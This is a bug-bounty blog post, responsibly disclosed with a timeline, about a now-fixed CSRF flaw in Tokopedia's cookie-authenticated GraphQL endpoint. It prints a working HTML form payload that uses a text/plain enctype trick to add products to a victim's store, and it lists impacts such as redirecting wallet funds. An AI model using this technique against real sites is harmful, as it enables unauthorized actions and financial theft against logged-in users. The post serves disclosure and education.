What is Cross Site Request Forgery ?
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. CSRF attacks specifically target state-changing requests, not theft of data, since the attacker has no way to see the response to the forged request.
What is Graph Query Language ?
GraphQL is a query language for APIs and a runtime for fulfilling those queries with your existing data. GraphQL provides a complete and understandable description of the data in your API, gives clients the power to ask for exactly what they need and nothing more, makes it easier to evolve APIs over time, and enables powerful developer tools.
Proof of Concept
When visiting https://m.tokopedia.com, most of the request is using GraphQL
endpoint in https://gql.tokopedia.com.Here is the example request to add product to wishlist :
When looking at the request in burpsuite, i notice something interesting.The request to GraphQL
endpoint is not using an authentication key or token in the request header.Usually, GraphQL
is more like API
style that use authentication key to get data, but Tokopedia seems to implement the request to GraphQL
endpoint using session and cookie as authentication.
Indeed, before make an actual request to get the data, it will check the authentication to GraphQL
using this request :
I'm thinking if we can somehow perform a CSRF attack to the GraphQL
endpoint.Then i try to modify request data in burpsuite.Several change that i made to the request :
- Remove the
Referer
- Set
Origin
tonull
- Set
content-type
totext/plain
- Append
"="
to the end of body request
Appending "="
to the end of the body request is to test if we can make a request of JSON
data using post form in html and using enctype text/plain
.After modifying the request, test to send the request. (Example image below is request to change profile image)
And it works !
We can then craft a simple html to make a CSRF attack (This POC use sample request of uploading a product to the store) :
<html>
<body>
<h1>Site Wide CSRF GraphQL : Add Product to Target User</h1>
<form action="https://gql.tokopedia.com/" method="POST" enctype="text/plain">
<input type="hidden" name='[{"operationName":"AddProductMutation","variables":{"input":{"product_brand":{"brand_id":0,"name":""},"product_catalog":{"catalog_id":0},"product_category":{"category_id":891},"product_condition":1,"product_description":"Attacker","product_etalase":{"etalase_id":17561860},"product_free_return":false,"product_min_order":1,"product_must_insurance":false,"product_name":"Added by Attacker","product_picture":[{"from_ig":0,"description":"","x":1,"y":1,"file_path":"product-1/2019/2/6/44628626","file_name":"44628626_6070a039-2f84-4d8c-99b8-c3d68083ebf7_980_759.png"}],"product_preorder":{"preorder_process_time":0,"preorder_status":0,"preorder_time_unit":1},"product_price":100,"product_price_currency":1,"product_sku":"","product_status":1,"product_stock":0,"product_video":[],"product_weight":100,"product_weight_unit":1,"product_wholesale":[]}},"query":"mutation AddProductMutation($input: AddProductInputType) {\n addProduct(input: $input) {\n header {\n messages\n reason\n __typename\n }\n data {\n product_id\n product_name\n product_alias\n product_condition\n product_description\n product_last_update_price\n product_min_order\n product_max_order\n product_must_insurance\n product_price\n product_price_currency\n product_status\n product_stock\n product_weight\n product_weight_unit\n product_url\n product_category {\n category_id\n __typename\n }\n product_etalase {\n etalase_id\n etalase_name\n __typename\n }\n product_position {\n position\n __typename\n }\n product_shop {\n shop_id\n shop_name\n shop_domain\n shop_url\n __typename\n }\n product_free_return\n product_sku\n product_gtin\n product_name_editable\n __typename\n }\n errors\n __typename\n }\n}\n"}]' />
<input type="submit" value="Click Me !"/>
</form>
</body>
</html>
In above crafted html, is to make a CSRF request to add product to the store (by just modifying the etalase_id
to id that the targeted store own).When a targeted user or store account visit webpage that hosting this crafted html and click the submit button (or we can make this auto submit using javascript), the CSRF request will be fired and a product is added to the targeted store without user consent.
Impact
Seeing that request in https://m.tokopedia.com mostly using GraphQL
, there is several impact from this security issue :
- Change user account profile picture
- Add, edit and delete product from the store
- Add, edit and delete address from user account
- Change profile picture, description, status, slogan of the store
- Add, edit and delete send address of the store
- Add, edit and delete store note
- Stealing tokopedia wallet by adding attacker bank account to targeted user account
- Perform anything about
order
action behalf of the user - etc
That's all from my first blog post, see you again in my next blog post (hopefully).
Happy Bug Hunting !
Timeline
Timestamp | Description |
---|---|
February 6th 2019 | Report Submited |
February 6th 2019 | Report is valid and marked as high severity |
March 25th 2019 | Check the vulnerability is fixed and follow up to tokopedia team |
March 25th 2019 | Tokopedia confirm the bug has been fixed |
May 27th 2019 | Reward sent |
July 15th 2019 | Tokopedia Agree to Disclose The Bug |